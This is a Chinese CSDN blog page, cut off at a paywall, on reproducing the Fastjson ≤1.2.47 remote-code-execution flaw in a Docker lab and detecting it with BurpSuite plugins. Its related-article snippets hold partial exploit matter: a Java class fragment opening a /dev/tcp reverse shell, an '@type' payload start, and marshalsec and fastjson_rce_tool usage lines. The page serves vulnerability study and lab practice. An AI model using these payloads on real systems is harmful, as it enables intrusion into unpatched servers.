Fastjson RCE续（自动化）

最新推荐文章于 2024-06-19 09:49:16 发布
最新推荐文章于 2024-06-19 09:49:16 发布
阅读量2k 收藏 1
点赞数 1
分类专栏： 漏洞复现
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/limb0/article/details/107712397
版权

Fastjson RCE续（自动化）

一、漏洞介绍

参阅Fastjson≤1.2.47 RCE。

二、漏洞危害

参阅Fastjson≤1.2.47 RCE。

三、漏洞验证

环境搭建：
实验环境 系统 IP地址
攻击机 win10 199.200.234.44
靶机 Centos7 192.168.134.133 
docker pull vulhub/fastjson     #拉取镜像
docker run -d -p 8080:8080 -p 8443:8443 initidc/fastjson1.2.47_rce    #连接容器

验证一下环境是否正常：
在这里插入图片描述
在这里插入图片描述

漏洞检测：

这里推荐两款BurpSuite插件：
https://mp.weixin.qq.com/s/5jNTjRwTZOzWJh0Hdu7jEw
https://github.com/uknowsec/BurpSuite-Extender-fastjson
安装插件后会自动检测经过BurpSuite的流量，若存在漏洞自动标注该流量：

最低0.47元/天 解锁文章
limb0
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
FastJson1.2.24/47 Rce
weixin_44687621的博客
04-22 445
之前只在本地测试过FastJson的漏洞，实战情况下一般需要利用VPS反弹shell，这里尝试一下 环境 https://buuoj.cn/challenges#[FastJson]1.2.24-rce 构建rmi服务器工具marshalsec https://github.com/RandomRobbieBF/marshalsec-jar.git FastJson1.2.24 首先编写恶意类 import java.lang.Runtime; public class Exploit{ publ
fastjson的RCE漏洞复现记录
beijiao3982的博客
07-31 941
参考链接： https://paper.seebug.org/994/https://www.cnblogs.com/jinqi520/p/11097779.htmlhttps://xz.aliyun.com/t/5680 0x01 漏洞复现 RMi 1. payload： {"@type":"java.lang.Class",br/>"a":{"@type":"java.lang.Cla...
探秘Java安全漏洞：fastjson-RCE PoC工具包
gitblog_00074的博客
06-19 395
探秘Java安全漏洞：fastjson-RCE PoC工具包 项目地址:https://gitcode.com/Lonely-night/fastjson_gadgets_scanner 在这个数字化的时代，软件安全至关重要，尤其是当我们谈论企业级应用时。开源社区一直是推动技术创新的重要力量，今天我们将深入探讨一个独特的开源项目——decomplie_jar和fastjson，这是一个专门针对Ja...
fastjson RCE 它叒叒来了...
chennqqi的专栏
05-29 97
隔壁群里看到一个图version<=1.2.68目前官方还没出修订版企鹅家发公告了，目前说是开启SafeMode可以缓解 ...
fastjson（1.2.24-rce）
不知名白帽的博客
06-19 1981
fastjson autotype在处理json对象的时候没有对@type字段进行安全性验证，导致攻击者传入危险类，并调用危险类连接远程主机，通过恶意类执行代码
Java - Fastjson之RCE攻击模拟（远程代码执行漏洞）
Zong_0915的博客
12-03 1490
Java - Fastjson之RCE问题分析及攻击模拟（远程代码执行漏洞）Fastjson出现RCE问题的必要前提分析 首先，本文的Fastjson相关的RCE问题，针对于版本在1.2.24以下的。 Fastjson出现RCE问题的必要前提分析
fastjson_rce_tool:fastjson命令执行自动化利用工具，远程执行代码，JNDI服务利用工具RMILDAP
03-31
fastjson_rce_tool java -jar fastjson_tool.jar Usage: java -cp fastjson_tool.jar fastjson.HRMIServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn" java -cp fastjson_tool.jar fastjson.HLDAPServer 127.0.0.1 80 ...
fastjson1.2.24反序列化RCE
最新发布
06-24
2. **禁用自动类型转换**：在使用Fastjson时，可以设置`FastJSONConfig`来禁用`AutoTypeSupport`，防止恶意类型被反序列化。 3. **数据验证**：在反序列化之前，对输入的JSON数据进行严格的验证，确保其符合预期的...
fastjson-rce-exploit:利用fastjson远程执行代码漏洞
03-15
Fastjson的RCE漏洞通常是由于其自动类型转换机制引发的。当Fastjson尝试将接收到的JSON字符串反序列化为Java对象时，如果未能正确验证输入，就可能触发恶意代码的执行。攻击者可以通过构造特定的JSON字符串，诱使...
fastjson-1.2.58.rar
08-13
2. **禁用自动类型转换**：通过设置 Fastjson 配置，禁止自动类型转换，减少潜在风险。 3. **启用白名单模式**：在可能的情况下，使用白名单模式限制可反序列化的类，只允许特定的 Java 类型进行反序列化。 4. **...
JNDI加载RMIServer，对FastJson的反序列化攻击，.zip
09-30
在这个名为“FastJson-JdbcRowSetImpl-RCE-master”的项目中，我们可以推测这可能是一个研究或竞赛项目，目的是模拟如何利用FastJson的反序列化漏洞来实现远程代码执行（RCE）。JdbcRowSetImpl是Java的JDBC API的一...
java 反序列化利用工具marshalsec-0.0.3-SNAPSHOT-all
12-27
marshalsec命令格式如下： java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] 参数说明： -a：生成exploit下的所有payload(例如：hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin） -t：对生成的payloads进行解码测试 -v：verbose mode, 展示生成的payloads gadget_type：指定使用的payload arguments - payload运行时使用的参数 marshalsec.<marshaller>：指定exploits，根目录下的java文件名
Fastjson1.2.24RCE漏洞复现
L1928的博客
05-18 882
1.启动环境并且访问 2.下载marshalsec-0.0.3-SNAPSHOT-all.jar 3.新建Shell.java文件 import java.lang.Runtime; import java.lang.Process; public class shell{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {“/bin/bash”,“-c”,“exec 5<>/dev/tcp/192.
【fastjson 1.2.47漏洞复现实战（vulfocus在线靶场CNVD-2017-02833）——关注紫灵小姐姐不踩坑】
weixin_40416851的博客
08-28 942
fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。...............
FastJson反序列化漏洞（复现）
小赵同学的博客
07-29 3915
漏洞利用FastJson autotype处理Json对象的时候，未对@type字段进行完整的安全性验证，攻击者可以传入危险类，并调用危险类连接远程RMI主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞，获取服务器敏感信息，甚至可以利用此漏洞进一步的对服务器数据进行操作。......
网络安全深入学习第七课——热门框架漏洞（RCE— Fastjson反序列化漏洞）
p36273的博客
09-18 1673
json全称是JavaScript object notation。即JavaScript对象标记法，使用键值对进行信息的存储。"age":23,json本质就是一种字符串，用于信息的存储和交换。------ Fastjson 是一个阿里巴巴公司开源的 Java 语言编写的高性能功能完善的 JSON 库。可以将Java 对象转换为 JSON 格式(序列化)，当然它也可以将 JSON 字符串转换为 Java 对象（反序列化）。
Fastjson≤1.2.47 RCE
limb0的博客
06-14 958
Fastjson≤1.2.47 RCE 一、漏洞介绍 fastjson 是阿里巴巴的开源JSON解析库，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到 JavaBean。 首先，Fastjson提供了autotype功能，允许用户在反序列化数据中通过“@type”指定反序列化的类型，其次，Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法，那么当组件开启了autotype功能并且反序列
fastjson rce
09-16
Fastjson RCE（Remote Code Execution）是指在使用Fastjson这个Java库时，存在远程代码执行的风险。在Fastjson版本1.2.24及以下的版本中，存在RCE问题。这个问题是由于Fastjson引入了AutoType特性，但在安全方面的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值